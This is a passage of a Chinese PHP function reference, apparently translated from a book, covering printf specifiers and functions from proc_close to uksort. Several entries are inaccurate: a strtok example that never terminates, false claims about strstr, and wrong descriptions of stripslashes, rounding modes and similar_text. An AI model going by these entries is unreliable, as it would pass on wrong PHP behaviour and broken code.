  2. 补位说明符表示用于将结果填充到适当字符串大小的字符(如下所示)。可以指定 0、空格或以单引号前缀的任何字符;使用空格进行填充是默认的。

  3. 对齐说明符。默认情况下,字符串被填充为右对齐。要使其左对齐,请在此处指定破折号()。

  4. 此元素应包含的最小字符数。如果结果少于此数字的字符数,则前面的说明符决定填充到适当宽度的行为。

  5. 浮点数的精度说明符由句点和数字组成;这决定了显示多少位小数。对于除了浮点数以外的类型,此说明符将被忽略。

  6. 最后是类型说明符。此说明符告诉 printf() 正在向该标记的函数传递的数据类型。有八种可能的类型:

b 参数是整数,并显示为二进制数字
c 参数是整数,并显示为具有该值的字符
d 参数是整数,并显示为十进制数字
f 参数是浮点数,并显示为浮点数
o 参数是整数,并显示为八进制(基数为 8)数字
s 参数被视为字符串并显示
x 参数是整数,并显示为十六进制(基数为 16)数字;使用小写字母
X x 相同,但使用大写字母

proc_close

int proc_close(resource handle)

关闭由 handle 引用并先前由 proc_open() 打开的进程。返回进程的终止代码。

proc_get_status

array proc_get_status(resource handle)

返回包含有关先前由 proc_open() 打开的 handle 进程的信息的关联数组。数组包含以下值:

command 打开此进程的命令字符串
pid 进程 ID
running 如果进程当前正在运行,则为true,否则为false
signaled 如果进程被未捕获的信号终止,则为true,否则为false
stopped 如果进程被信号停止,则为true,否则为false
exitcode 如果进程已终止,则来自进程的退出代码,否则为–1
termsig 如果signaledtrue,则导致进程终止的信号,否则为undefined
stopsig 如果stoppedtrue,则导致进程停止的信号,否则为undefined

proc_nice

bool proc_nice(int increment)

通过increment改变执行当前脚本的进程的优先级。负值提高进程的优先级,正值降低进程的优先级。如果操作成功则返回true,否则返回false

proc_open

resource proc_open(string command, array descriptors, array pipes[, string dir[, array env[, array options]]])

打开管道以通过 shell 运行command执行的进程,并带有各种选项。descriptors 参数必须是一个包含三个元素的数组,依次描述stdinstdoutstderr描述符。对于每个描述符,指定一个包含两个元素的数组或一个流资源。在第一种情况下,如果第一个元素是"pipe",第二个元素可以是"r"以从管道读取或"w"以向管道写入。如果第一个是"file",则第二个必须是文件名。pipes数组被填充为对应进程描述符的文件指针数组。如果指定了dir,则该进程的当前工作目录设置为该路径。如果指定了env,则该进程的环境设置为该数组中的值。最后,options包含一个带有额外选项的关联数组。可以在数组中设置以下选项:

suppress_errors 如果设置为true,则抑制由进程生成的错误(仅限 Windows)
bypass_shell 如果设置为true,则在运行进程时绕过cmd.exe
context 如果设置,则在打开文件时指定流上下文

如果尝试打开进程时发生任何错误,则返回false。否则返回进程的资源句柄。

proc_terminate

bool proc_terminate(resource handle[, int signal])

向由proc_open()打开并引用的进程发送终止信号。如果提供了signal,则发送该信号给进程。调用立即返回,这可能早于进程完成终止。要轮询进程的状态,使用proc_get_status()。如果操作成功则返回true,否则返回false

property_exists

bool property_exists(mixed class, string name)

如果对象或class定义了名为name的数据成员,则返回true,否则返回false

putenv

bool putenv(string setting)

使用setting设置环境变量,通常形式为name = value。如果成功则返回true,否则返回false

quoted_printable_decode

string quoted_printable_decode(string string)

解码使用 quoted printable 编码的string数据,并返回结果字符串。

quoted_printable_encode

string quoted_printable_encode(string string)

返回用 quoted printable 编码格式化的string。详见 RFC 2045 描述的编码格式。

quotemeta

string quotemeta(string string)

通过向其追加反斜杠(\)来转义字符串中的某些字符,并返回结果字符串。需要转义的字符包括:句点(.)、反斜杠(\)、加号(+)、星号(*)、问号(?)、方括号([])、插入符号(^)、括号(())以及美元符号($)。

rad2deg

float rad2deg(float number)

number从弧度转换为度并返回结果。

rand

int rand([int min, int max])

返回从minmax的随机数(包括两端)。如果未提供minmax参数,则返回一个介于 0 和由getrandmax()函数返回的值之间的随机数。

random_bytes

string random_bytes(int length)

生成一串具有密码学随机字节的任意length长度字符串,适合用于密码学用途,例如生成盐、密钥或初始化向量。

random_int

int random_int(int min, int max)

生成可以用于必须具有无偏差结果的情况的密码学随机整数,例如用于 Bingo 游戏中的"balls"混合。Min设置要返回的最小值范围(必须是PHP_INT_MIN或更大),max设置最高值(必须是PHP_INT_MAX或更低)。

range

array range(mixed first, mixed second[, number step])

创建并返回一个包含从firstsecond之间的整数或字符的数组。如果second小于first,则以倒序返回序列。如果提供了step,则创建的数组将具有指定的步长间隔。

rawurldecode

string rawurldecode(string url)

返回从 URI 编码的url解码后创建的字符串。以%开头的十六进制数字序列将被替换为表示的字面字符。

rawurlencode

string rawurlencode(string url)

返回通过 URI 编码url创建的字符串。某些字符将被以以%开头的十六进制数字序列替换;例如,空格将被替换为%20

readdir

string readdir([resource handle])

返回由 handle 引用的目录中的下一个文件的名称。如果未指定 handle,则 handle 默认为 opendir() 返回的最后一个目录句柄资源。调用 readdir() 时返回目录中文件的顺序是未定义的。如果目录中没有更多要返回的文件,则 readdir() 返回 false

readfile

int readfile(string path[, bool include[, resource context]])

在提供了流上下文 context 的情况下,读取 path 处的文件并输出内容。如果指定了 include 并且为 true,则会在包含路径中搜索文件。如果 pathhttp:// 开头,则打开 HTTP 连接并从中读取文件。如果 pathftp:// 开头,则打开 FTP 连接并从中读取文件;远程服务器必须支持被动 FTP。

此函数返回输出的字节数。

string readlink(string path)

返回包含在符号链接文件 path 中的路径。如果 path 不存在或不是符号链接文件,或者发生任何其他错误,则函数返回 false

realpath

string realpath(string path)

展开所有符号链接,解析对 /.//../ 的引用,移除路径中多余的 / 字符,并返回结果。

realpath_cache_get

array realpath_cache_get()

返回 realpath 缓存的内容作为关联数组。每个条目的键是路径名,每个条目的值是一个关联数组,其中包含已为该路径缓存的值。可能的值包括:

expires 缓存条目将过期的时间
is_dir 此路径是否表示目录
key 缓存条目的唯一标识符
realpath 路径的解析后路径

realpath_cache_size

int realpath_cache_size()

返回 realpath 缓存当前在内存中占用的字节数。

register_shutdown_function

void register_shutdown_function(callable function[, mixed arg1 [, mixed arg2 [, ... mixed argN]]])

注册一个关闭函数。当页面完成处理时,将调用该函数以及给定的参数。可以注册多个关闭函数,并且它们将按照注册的顺序调用。如果关闭函数包含退出命令,则在该函数之后注册的函数将不会被调用。

由于关闭函数在页面完全处理后才调用,因此不能使用 print()echo() 或类似函数或命令向页面添加数据。

register_tick_function

bool register_tick_function(callable function[, mixed arg1 [, mixed arg2 [, ... mixed argN]]])

注册将在每个时钟周期调用的函数 name。函数将使用给定的参数进行调用。显然,注册时钟函数可能会严重影响脚本的性能。如果操作成功,则返回 true,否则返回 false

rename

bool rename(string old, string new[, resource context])

将文件 old 重命名为 new,若提供了流上下文 context,则使用该上下文;若重命名成功则返回 true,否则返回 false

reset

mixed reset(array array)

array 的内部指针重置为第一个元素并返回该元素的值。

restore_error_handler

bool restore_error_handler()

恢复至最近一次调用 set_error_handler() 前的错误处理程序,并返回 true

restore_exception_handler

bool restore_exception_handler()

恢复至最近一次调用 set_exception_handler() 前的异常处理程序,并返回 true

rewind

int rewind(resource handle)

handle 文件指针设置到文件开头。如果操作成功则返回 true,否则返回 false

rewinddir

void rewinddir([resource handle])

handle 文件指针设置到目录中文件列表的开头。若未指定,则 handle 默认为 opendir() 返回的最后一个目录句柄资源。

rmdir

int rmdir(string path[, resource context])

删除目录 path,若提供了流上下文 context,则使用该上下文。若目录非空、PHP 进程无适当权限或发生其他错误,则返回 false。若成功删除目录,则返回 true

round

float round(float number[, int precision[, int mode]])

返回 numberprecision 指定的小数位数上最接近的整数值。精度的默认值为 0(整数四舍五入)。mode 参数决定了使用的取整方法:

PHP_ROUND_HALF_UP(默认) 向上取整
PHP_ROUND_HALF_DOWN 向下取整
PHP_ROUND_HALF_EVEN 如果有效数字为偶数,则向上取整
PHP_ROUND_HALF_ODD 如果有效数字为奇数,则向下取整

rsort

void rsort(array array[, int flags])

使用值的逆序对数组进行排序。可选的第二个参数包含附加的排序标志。有关使用此函数的更多信息,请参阅第五章和 unserialize()

rtrim

string rtrim(string string[, string characters])

返回 string 中去除尾部的所有 characters 字符。若未指定 characters,则去除的字符包括 \n\r\t\v\0 和空格。

scandir

array scandir(string path [, int sort_order [, resource context]])

返回 path 中存在的文件名数组,若提供了流上下文 context,则使用该上下文。若发生错误则返回 false。文件名根据 sort_order 参数排序,其类型为以下之一:

SCANDIR_SORT_ASCENDING(默认) 升序排序
SCANDIR_SORT_DESCENDING 降序排序
SCANDIR_SORT_NONE 不排序(结果顺序不确定)

serialize

string serialize(mixed value)

返回包含value的二进制数据表示的字符串。例如,此字符串可用于将数据存储在数据库或文件中,并使用unserialize()稍后进行恢复。除了资源外,任何类型的值都可以被序列化。

set_error_handler

string set_error_handler(string function)

设置命名的函数作为当前的错误处理程序,或者如果functionNULL则取消当前的错误处理程序。每当发生错误时,将调用错误处理程序函数;该函数可以执行任何操作,但通常会打印错误消息并在发生严重错误后进行清理。

用户定义的函数将以两个参数调用,错误代码和描述错误的字符串。还可以提供三个额外的参数——发生错误的文件名、发生错误的行号以及发生错误的上下文(这是指向活动符号表的数组)。

set_error_handler() 返回先前安装的错误处理程序函数的名称,如果在设置错误处理程序时发生错误(例如function不存在),则返回false

set_exception_handler

callable set_exception_handler(callable function)

设置命名的函数作为当前的异常处理程序。在try...catch块中抛出异常但未被捕获时,将调用异常处理程序;该函数可以执行任何操作,但通常会打印错误消息并在发生严重错误后进行清理。

用户定义的函数将以一个参数调用——被抛出的异常对象。

set_exception_handler() 返回先前安装的异常处理程序函数,如果未设置先前的处理程序则返回空字符串,如果在设置错误处理程序时发生错误(例如function不存在),则返回false

set_include_path

string set_include_path(string path)

设置包含路径配置选项;它将持续到脚本执行结束,或者在脚本中调用restore_include_path。返回先前的包含路径值。

set_time_limit

void set_time_limit(int timeout)

设置当前脚本的超时时间为timeout秒,并重新启动超时计时器。默认情况下,超时时间设置为 30 秒或在当前配置文件中设置的max_execution_time的值。如果脚本在指定时间内未执行完毕,则会生成致命错误并终止脚本。如果timeout0,则脚本将永不超时。

setcookie

void setcookie(string name[, string value[, int expiration[, string path [, string domain[, bool is_secure]]]]])

生成一个 cookie 并将其与其余的头信息一起传递。因为 cookie 是在 HTTP 头中设置的,所以必须在生成任何输出之前调用setcookie()

如果仅指定name,则从客户端删除具有该名称的 cookie。value参数指定 cookie 应采用的值,expiration是 Unix 时间戳值,定义 cookie 应过期的时间,pathdomain参数定义 cookie 应与之关联的域。如果is_securetrue,则 cookie 仅通过安全的 HTTP 连接传输。

setlocale

string setlocale(mixed category, string locale[, string locale, ...]) string setlocale(mixed category, array locale)

设置category函数的区域设置为locale。设置后返回当前区域设置,如果无法设置区域设置,则返回false。可以添加(或进行 OR 运算)任意数量的category选项。以下选项可用:

LC_ALL(默认) 所有以下类别
LC_COLLATE 字符串比较
LC_CTYPE 字符分类和转换
LC_MONETARY 货币函数
LC_NUMERIC 数字函数
LC_TIME 时间和日期格式化

如果locale0或空字符串,则当前区域设置不受影响。

setrawcookie

void setrawcookie(string name[, string value[, int expiration[, string path [, string domain[, bool is_secure]]]]])

生成一个 cookie,并将其与其他标头信息一起传递。因为 cookie 是在 HTTP 标头中设置的,所以必须在生成任何输出之前调用setcookie()

如果仅指定name,则从客户端删除具有该名称的 cookie。value参数指定 cookie 应采用的值——与setcookie()不同,此处指定的值在发送之前不会进行 URL 编码,expiration是 Unix 时间戳值,定义 cookie 应过期的时间,pathdomain参数定义 cookie 应与之关联的域。如果is_securetrue,则 cookie 仅通过安全的 HTTP 连接传输。

settype

bool settype(mixed value, string type)

value转换为给定的type。可能的类型包括"boolean""integer""float""string""array""object"。如果操作成功,则返回true;否则返回false。使用此函数与将value强制转换为适当类型相同。

sha1

string sha1(string string[, bool binary])

计算stringsha1加密哈希并返回。如果设置了binary并且为true,则返回原始二进制数据而不是十六进制字符串。

sha1_file

string sha1_file(string path[, bool binary])

计算并返回文件在path处的sha1加密哈希。sha1哈希是一个 40 字符的十六进制值,可用于对文件数据进行校验和。如果提供了binary并且为true,则结果将作为 20 位二进制值发送。

shell_exec

string shell_exec(string command)

通过 shell 执行command并返回命令结果的输出。当使用反引号运算符(`)时调用此函数。

shuffle

void shuffle(array array)

array中的值重新排列为随机顺序。值的键将丢失。

similar_text

int similar_text(string one, string two[, float percent])

计算字符串onetwo之间的相似性。如果通过引用传递,则percent获取两个字符串不同之处的百分比。

sin

float sin(float value)

返回以弧度表示的value的正弦值。

sinh

float sinh(float value)

返回以弧度表示的value的双曲正弦值。

sleep

int sleep(int time)

暂停当前脚本的执行time秒。如果操作成功,则返回0,否则返回false

sort

bool sort(array array[, int flags])

将给定array中的值按升序排序。要更好地控制排序行为,请提供第二个参数,该参数是以下值之一:

SORT_REGULAR(默认) 正常比较项目
SORT_NUMERIC 按数字方式比较项目
SORT_STRING 按字符串方式比较项目
SORT_LOCALE_STRING 使用当前区域设置的排序规则按字符串方式比较项目
SORT_NATURAL 使用“自然排序”方式按字符串比较项目
SORT_FLAG_CASE 使用按位OR操作符结合SORT_STRINGSORT_NATURAL以进行不区分大小写的比较

如果操作成功,则返回true,否则返回false。有关使用此函数的更多信息,请参见第五章。

soundex

string soundex(string string)

计算并返回string的 soundex 键。发音相似(并以相同字母开头)的单词具有相同的 soundex 键。

sprintf

string sprintf(string format[, mixed value1[, ... mixed valueN]])

使用给定的参数填充format并返回字符串。有关使用此函数的更多信息,请参见printf()

sqrt

float sqrt(float number)

返回number的平方根。

srand

void srand([int seed])

使用seed初始化标准伪随机数生成器,如果未提供seed,则使用随机种子。

sscanf

mixed sscanf(string string, string format[, mixed variableN ...])

解析string中与format指定的类型匹配的值;找到的值将作为数组返回,或者如果提供了引用传递的variable1variableN(必须是变量),则将返回这些变量中的值。

format字符串与sprintf()中使用的相同。例如:

$name = sscanf("Name: k.tatroe", "Name: %s"); // $name has "k.tatroe"
list($month, $day, $year) = sscanf("June 30, 2001", "%s %d, %d");
$count = sscanf("June 30, 2001", "%s %d, %d", &$month, &$day, &$year);

stat

array stat(string path)

返回关于文件path的信息的关联数组。如果path是符号链接,则返回path引用的文件的信息。有关返回的值及其含义,请参见fstat

str_getcsv

array str_getcsv(string input[, string delimiter[, string enclosure [, string escape]]]])

将字符串解析为逗号分隔值(CSV)列表,并将其作为值数组返回。如果提供了 delimiter,则用其来分隔行中的值,而不是逗号。如果提供了 enclosure,则它是用于括起值的单个字符(默认为双引号字符 ")。escape 设置用于转义的转义字符;默认为反斜杠 \

str_ireplace

mixed str_ireplace(mixed search, mixed replace, mixed string[, int &count])

string 中所有出现的 search 进行不区分大小写的搜索,并用 replace 替换它们。如果三个参数都是字符串,则返回字符串。如果 string 是数组,则对数组中的每个元素执行替换,并返回结果数组。如果 searchreplace 都是数组,则将 search 中的元素用相同数值索引中的 replace 元素替换。最后,如果 search 是数组且 replace 是字符串,则将 search 中的任何元素的任何出现更改为 replace。如果提供了 count,则填充被替换的实例数。

str_pad

string str_pad(string string, string length[, string pad[, int type]])

使用 pad 填充 string 直到其至少有 length 个字符,并返回结果字符串。通过指定 type,您可以控制填充发生的位置。接受 type 的以下值:

STR_PAD_RIGHT(默认) string 的右侧填充
STR_PAD_LEFT string 的左侧填充
STR_PAD_BOTH string 的两侧填充

str_repeat

string str_repeat(string string, int count)

返回由 countstring 的副本连接在一起的字符串。如果 count 不大于零,则返回空字符串。

str_replace

mixed str_replace(mixed search, mixed replace, mixed string[, int &count])

搜索 string 中所有出现的 search 并用 replace 替换它们。如果三个参数都是字符串,则返回字符串。如果 string 是数组,则对数组中的每个元素执行替换,并返回结果数组。如果 searchreplace 都是数组,则将 search 中的元素用相同数值索引中的 replace 元素替换。最后,如果 search 是数组且 replace 是字符串,则将 search 中的任何元素的任何出现更改为 replace。如果提供了 count,则填充被替换的实例数。

str_rot13

string str_rot13(string string)

string 转换为其 rot13 版本并返回结果字符串。

str_shuffle

string str_shuffle(string string)

string 中的字符重新排列为随机顺序,并返回结果字符串。

str_split

array str_split(string string[, int length])

string拆分为包含length个字符的字符数组;如果未指定length,则默认为1

str_word_count

mixed str_word_count(string string[, int format[, string characters]])

使用特定于区域设置的规则计算string中单词的数量。format的值决定返回的值:

0(默认) string 中找到的单词数
1 string 中找到的所有单词的数组
2 一个关联数组,键是string中找到的位置,值是这些位置处的单词

如果指定了characters,则提供被视为单词内部(即非单词边界)的附加字符。

strcasecmp

int strcasecmp(string one, string two)

比较两个字符串;如果one小于two,返回小于零的数,如果两个字符串相等,返回0,如果one大于two,返回大于零的数。此比较不区分大小写,即“Alphabet”和“alphabet”被视为相等。

strcmp

int strcmp(string one, string two)

比较两个字符串;如果one小于two,返回小于零的数,如果两个字符串相等,返回0,如果one大于two,返回大于零的数。此比较区分大小写,即“Alphabet”和“alphabet”被视为不相等。

strcoll

int strcoll(string one, string two)

使用当前区域设置的规则比较两个字符串;如果one小于two,返回小于零的数,如果两个字符串相等,返回0,如果one大于two,返回大于零的数。此比较区分大小写,即“Alphabet”和“alphabet”被视为不相等。

strcspn

int strcspn(string string, string characters[, int offset[, int length]])

返回从offset开始的string子集的长度,检查最多length个字符,直到首次出现characters中的字符。

strftime

string strftime(string format[, int timestamp])

根据第一个参数中提供的format字符串和当前区域设置格式化时间和日期。如果未指定第二个参数,则使用当前时间和日期。format字符串中识别以下字符:

%a 星期几的三个字母缩写(例如,Mon)
%A 星期几的名称(例如,Monday)
%b 月份的三个字母缩写(例如,Aug)
%B 月份的名称(例如,August)
%c 日期和时间的首选格式
%C 世纪的最后两位数
%d 日期的两位数表示,如果需要,包括前导零(例如,01 到 31)
%D %m/%d/%y 相同
%e 日期的两位数表示,如果需要,包括前导空格(例如,1 到 31)
%h %b 相同
%H 24 小时制小时数,如有必要,包括前导零(例如,00 到 23)
%I 12 小时制小时数(例如,1 到 12)
%j 一年中的日期,需要时包括前导零(例如,001 到 366)
%m 月份,需要时包括前导零(例如,01 到 12)
%M 分钟数
%n 换行符(\n
%p 上午或下午
%r 等同于%I:%M:%S %p
%R 等同于%H:%M:%S
%S 秒数
%t 制表符(\t
%T 等同于%H:%M:%S
%u 一周中的数字表示,从星期一开始计数为 1
%U 一年中的数字表示周数,从第一个星期天开始计数
%V ISO 8601:1998 格式的一年中的数字表示周数—第一个星期至少有四天的星期一开始计数
%W 一年中的数字表示周数,从第一个星期一开始计数
%w 一周中的数字表示,从星期天开始计数为 0
%x 当前区域设置下的首选日期格式
%X 当前区域设置下的首选时间格式
%y 两位数表示的年份(例如,98)
%Y 四位数表示的年份(例如,1998)
%Z 时区或名称或缩写
%% 百分号(%

stripcslashes

string stripcslashes(string string, string characters)

通过删除string中反斜杠后的characters实例来转义字符。可以通过两个点分隔符指定字符范围;例如,要取消转义aq之间的字符,请使用"a..q"。可以在characters中指定多个字符和范围。stripcslashes()函数是addcslashes()的反函数。

stripslashes

string stripslashes(string string)

通过删除string中 SQL 查询中具有特殊含义的转义序列的反斜杠来转义字符。单引号(')、双引号(")、反斜杠(\)和 NUL 字节("\0")被转义。该函数是addslashes()的反函数。

strip_tags

string strip_tags(string string[, string allowed])

string中移除 PHP 和 HTML 标签,并返回结果。allowed参数可指定要保留的特定标签。字符串应为逗号分隔的标签列表;例如,"<b>,<i>"将保留粗体和斜体标签。

stripos

int stripos(string string, string value[, int offset])

返回在string中第一次出现value的位置,使用不区分大小写的比较。如果指定了offset,则从该位置开始搜索。如果未找到value,则返回false

stristr

string stristr(string string, string search[, int before])

返回从string中第一次出现的search(使用不区分大小写比较)到string的末尾的部分,或者从string中第一次出现的search(如果指定了beforetrue,则是从string的开头)到string的开头的部分。如果未找到search,则函数返回false。如果search包含多个字符,则仅使用第一个字符。

strlen

int strlen(string string)

返回string中的字符数。

strnatcasecmp

int strnatcasecmp(string one, string two)

比较两个字符串;如果one小于two,返回一个小于零的数字,如果两个字符串相等,则返回0,如果one大于two,则返回一个大于零的数字。比较时不区分大小写,即“Alphabet”和“alphabet”被视为相等。该函数使用“自然顺序”算法——字符串中的数字比计算机通常更自然地比较。例如,值为"1""10""2"按照strcmp()的顺序排序,但strnatcasecmp()"1""2""10"的顺序排序。此函数是strnatcmp()的不区分大小写版本。

strnatcmp

int strnatcmp(string one, string two)

比较两个字符串;如果one小于two,返回一个小于零的数字,如果两个字符串相等,则返回0,如果one大于two,则返回一个大于零的数字。比较时区分大小写,即“Alphabet”和“alphabet”不被视为相等。strnatcmp()函数使用“自然顺序”算法——字符串中的数字比计算机通常更自然地比较。例如,值为"1""10""2"按照strcmp()的顺序排序,但strnatcmp()"1""2""10"的顺序排序。

strncasecmp

int strncasecmp(string one, string two, int length)

比较两个字符串;如果one小于two,返回一个小于零的数字,如果两个字符串相等,则返回0,如果one大于two,则返回一个大于零的数字。比较时不区分大小写,即“Alphabet”和“alphabet”被视为相等。这个函数是strcmp()的不区分大小写版本。如果任一字符串短于length个字符,则该字符串的长度决定要比较的字符数。

strncmp

int strncmp(string one, string two[, int length])

比较两个字符串;如果one小于two,返回一个小于零的数字,如果两个字符串相等,则返回0,如果one大于two,则返回一个大于零的数字。比较时区分大小写,即“Alphabet”和“alphabet”不被视为相等。如果指定了length,则最多比较length个字符。如果任一字符串短于length个字符,则该字符串的长度决定要比较的字符数。

strpbrk

string strpbrk(string string, string characters)

返回由string的子字符串组成的字符串,从characters中的字符在string中第一次出现的位置开始,直到字符串末尾,如果string中没有characters中的字符,则返回false

strpos

int strpos(string string, string value[, int offset])

返回stringvalue第一次出现的位置。如果指定offset,则从该位置开始搜索。如果未找到value,则返回false

strptime

array strptime(string date, string format)

根据format字符串和当前区域设置解析时间和日期。格式使用与strftime()相同的格式。返回一个关联数组,包含有关解析时间的信息,包括以下元素:

tm_sec 秒钟
tm_min 分钟
tm_hour 小时
tm_mday 月份中的某一天
tm_wday 数字表示的星期几(星期天为 0)
tm_mon 月份
tm_year 年份
tm_yday 年中的某一天
unparsed 未按照给定格式解析的date部分

strrchr

string strrchr(string string, string character)

返回从stringcharacter的最后一次出现直到字符串末尾的部分。如果未找到character,则函数返回false。如果character包含多个字符,则只使用第一个字符。

strrev

string strrev(string string)

返回string的字符顺序反转后的字符串。

strripos

int strripos(string string, string search[, int offset])

返回使用不区分大小写搜索在stringsearch的最后一次出现的位置,如果未找到search则返回false。如果指定且为正,则搜索从string开头的offset字符开始。如果指定且为负,则从string末尾的offset字符开始搜索。此函数是strrpos()的不区分大小写版本。

strrpos

int strrpos(string string, string search[, int offset])

返回stringsearch最后一次出现的位置,如果未找到search则返回false。如果指定且为正,则搜索从string开头的offset字符开始。如果指定且为负,则从string末尾的offset字符开始搜索。

strspn

int strspn(string string, string characters[, int offset[, int length]])

返回string中仅包含characters中字符的子字符串的长度。如果offset为正,则搜索从该字符开始;如果为负,则子字符串从字符串末尾的offset字符开始。如果指定length且为正,则从子字符串开头检查指定数量的字符。如果指定length且为负,则检查从子字符串末尾开始的length个字符。

strstr

string strstr(string string, string character[, bool before])

返回从stringcharacter的第一次出现直到string的末尾的部分,或者如果指定了before并且为true,则从stringcharacter的第一次出现直到string的开头。如果未找到character,则函数返回false。如果character包含多个字符,则只使用第一个字符。

strtok

string strtok(string string, string token) string strtok(string token)

stringtoken中的任何字符分隔成标记,并返回找到的下一个标记。第一次在字符串上调用strtok()时,请使用第一个函数原型;之后,只需提供标记即可使用第二个原型。该函数为每个调用它的字符串保留内部指针。例如:

$string = "This is the time for all good men to come to the aid of their 
country."
$current = strtok($string, " .;,\"'");
while(!($current === false)) {
 print($current . "<br />";
}

strtolower

string strtolower(string string)

返回string,其中所有字母字符均转换为小写。用于转换字符的表是特定于区域设置的。

strtotime

int strtotime(string time[, int timestamp])

将时间和日期的英文描述转换为 Unix 时间戳值。可选地,可以给定一个timestamp作为函数使用的“现在”值;如果省略此值,则使用当前日期和时间。如果无法将值转换为有效时间戳,则返回false

描述字符串可以采用多种格式。例如,以下所有格式都可以使用:

echo strtotime("now");
echo strtotime("+1 week");
echo strtotime("-1 week 2 days 4 seconds");
echo strtotime("2 January 1972");

strtoupper

string strtoupper(string string)

返回string,其中所有字母字符均转换为大写。用于转换字符的表是特定于区域设置的。

strtr

string strtr(string string, string from, string to) string strtr(string string, array replacements)

当给定三个参数时,返回一个字符串,该字符串通过将stringfrom中每个字符的每次出现转换为to中相应位置的字符而创建。当给定两个参数时,返回一个字符串,该字符串通过使用replacements中的键在string中替换键的每个出现来创建。与replacements中的相应值。

strval

string strval(mixed value)

返回value的字符串等效值。如果value是一个对象并且该对象实现了__toString()方法,则返回该方法的值。否则,如果value是一个没有实现__toString()方法的对象或者是一个数组,则函数返回空字符串。

substr

string substr(string string, int offset[, int length])

返回string的子字符串。如果offset为正数,则子字符串从该字符开始;如果为负数,则子字符串从字符串末尾的offset字符开始。如果给定length且为正数,则从子字符串的开头返回那么多字符。如果给定length且为负数,则子字符串在string末尾的length字符处结束。如果未给出length,则子字符串包含string的所有字符直到末尾。

substr_compare

int substr_compare(string first, string second, string offset[, int length[, bool case_insensitivity]])

比较firstoffset位置开始的子字符串与second。如果指定了length,则最多比较那么多个字符。最后,如果指定了case_insensitivity且为true,则比较是不区分大小写的。如果first的子字符串小于second,则返回小于零的数,如果它们相等,则返回0,如果first的子字符串大于second,则返回大于零的数。

substr_count

int substr_count(string string, string search[, int offset[, int length]])

返回string中出现search的次数。如果提供了offset,则搜索从该字符偏移开始,最多搜索length个字符,或者如果未提供length,则搜索到字符串末尾为止。

substr_replace

string substr_replace(mixed string, mixed replace, mixed offset[, mixed length])

replace替换string中的子字符串。选择要替换的子字符串的规则与substr()相同。如果string是一个数组,则在数组中的每个字符串上进行替换。在这种情况下,replaceoffsetlength可以是标量值,这些值用于string中的所有字符串,或者是值数组,用于每个string中相应的值。

bool symlink(string path, string new)

在路径new处创建对path的符号链接。如果成功创建链接则返回true,否则返回false

syslog

bool syslog(int priority, string message)

将错误消息发送到系统日志设施。在 Unix 系统上,这是syslog(3);在 Windows NT 上,消息记录在 NT 事件日志中。使用给定的priority记录消息,该priority是以下之一(按优先级降序排列):

LOG_EMERG 错误导致系统不稳定
LOG_ALERT 错误指出需要立即采取行动的情况
LOG_CRIT 错误是临界条件
LOG_ERR 错误是一般错误条件
LOG_WARNING 错误消息是警告
LOG_NOTICE 错误消息是正常但重要的情况
LOG_INFO 错误是一个不需要采取行动的信息性消息
LOG_DEBUG 错误仅用于调试

如果message包含字符%m,则用当前设置的任何错误消息替换它。如果日志记录成功,则返回true,如果失败则返回false

system

string system(string command[, int &return])

通过 shell 执行command并返回命令结果的最后一行输出。如果指定了return,则将其设置为命令的返回状态。

sys_getloadavg

array sys_getloadavg()

返回包含运行当前脚本的机器上最后 1 分钟、5 分钟和 15 分钟内采样的平均负载的数组。

sys_get_temp_dir

string sys_get_temp_dir()

返回临时文件所在的目录路径,例如由tmpfile()tempname()创建的文件。

tan

float tan(float value)

返回value的弧度的正切值。

tanh

float tanh(float value)

返回value的弧度的双曲正切值。

tempnam

string tempnam(string path, string prefix)

在目录path中生成并返回唯一文件名。如果path不存在,则生成的临时文件可能位于系统的临时目录中。文件名以prefix为前缀。如果操作无法执行,则返回false

time

int time()

返回自 Unix 纪元(1970 年 1 月 1 日 00:00:00 GMT)以来的秒数。

time_nanosleep

bool time_nanosleep(int seconds, int nanoseconds)

暂停当前脚本的执行seconds秒和nanoseconds纳秒。成功返回true,失败返回false;如果延迟被信号中断,则返回一个包含以下值的关联数组。

seconds 剩余的秒数
nanoseconds 剩余的纳秒数

time_sleep_until

bool time_sleep_until(float timestamp)

暂停当前脚本的执行,直到时间timestamp过去。成功返回true,失败返回false

timezone_name_from_abbr

string timezone_name_from_abbr(string name[, int gmtOffset[, int dst]])

返回给定name的时区名称,如果找不到合适的时区,则返回false。如果给定gmtOffset,则它是从 GMT 的整数偏移量,用作查找合适时区的提示。如果给定dst,则指示时区是否具有夏令时作为查找合适时区的提示。

timezone_version_get

string timezone_version_get()

返回当前时区数据库的版本。

tmpfile

int tmpfile()

创建一个具有唯一名称的临时文件,以读写权限打开它,并返回文件的资源,如果发生错误则返回false。关闭fclose()或当前脚本结束时自动删除文件。

token_get_all

array token_get_all(string source)

将 PHP 代码source解析为 PHP 语言标记,并将它们作为数组返回。数组中的每个元素包含一个单字符标记或一个包含以下顺序的三元素数组:标记索引、表示标记的源字符串和source中出现的行号。

token_name

string token_name(int token)

返回由token标识的 PHP 语言标记的符号名称。

touch

bool touch(string path[, int touch_time[, int access_time]])

path的修改日期设置为touch_time(Unix 时间戳值),将path的访问时间设置为access_time。如果未指定,touch_time默认为当前时间,而access_time默认为touch_time(如果也未提供该值,则为当前时间)。如果文件不存在,则创建该文件。如果函数完成时没有错误,则返回true;如果发生错误,则返回false

trait_exists

bool trait_exists(string name[, bool autoload])

如果定义了与字符串同名的特性,则返回true;否则返回false。对特性名称的比较不区分大小写。如果设置了autoload并且为true,则在检查特性存在之前,自动加载器会尝试加载该特性。

trigger_error

void trigger_error(string error[, int type])

触发错误条件;如果未给出类型,则默认为E_USER_NOTICE。以下类型是有效的:

E_USER_ERROR 用户生成的错误
E_USER_WARNING 用户生成的警告
E_USER_NOTICE(默认) 用户生成的通知
E_USER_DEPRECATED 用户生成的弃用调用警告

如果长于 1,024 个字符,则将error截断为 1,024 个字符。

trim

string trim(string string[, string characters])

返回的string,从characters的开头和结尾剥离每个空白字符。您可以使用字符串中的..指定要剥离的字符范围。例如,"a..z"将剥离每个小写字母字符。如果未提供characters,则剥离\n\r\t\x0B\0和空格。

uasort

bool uasort(array array, callable function)

使用用户定义的函数对数组进行排序,保持值的键。有关如何使用此函数的更多信息,请参见第五章和usort()。如果成功排序数组,则返回true,否则返回false

ucfirst

string ucfirst(string string)

返回的string,如果是字母的话,将第一个字符转换为大写。用于转换字符的表是特定于语言环境的。

ucwords

string ucwords(string string)

返回的string,如果是字母的话,将每个单词的第一个字符转换为大写。用于转换字符的表是特定于语言环境的。

uksort

bool uksort(array array, callable function)

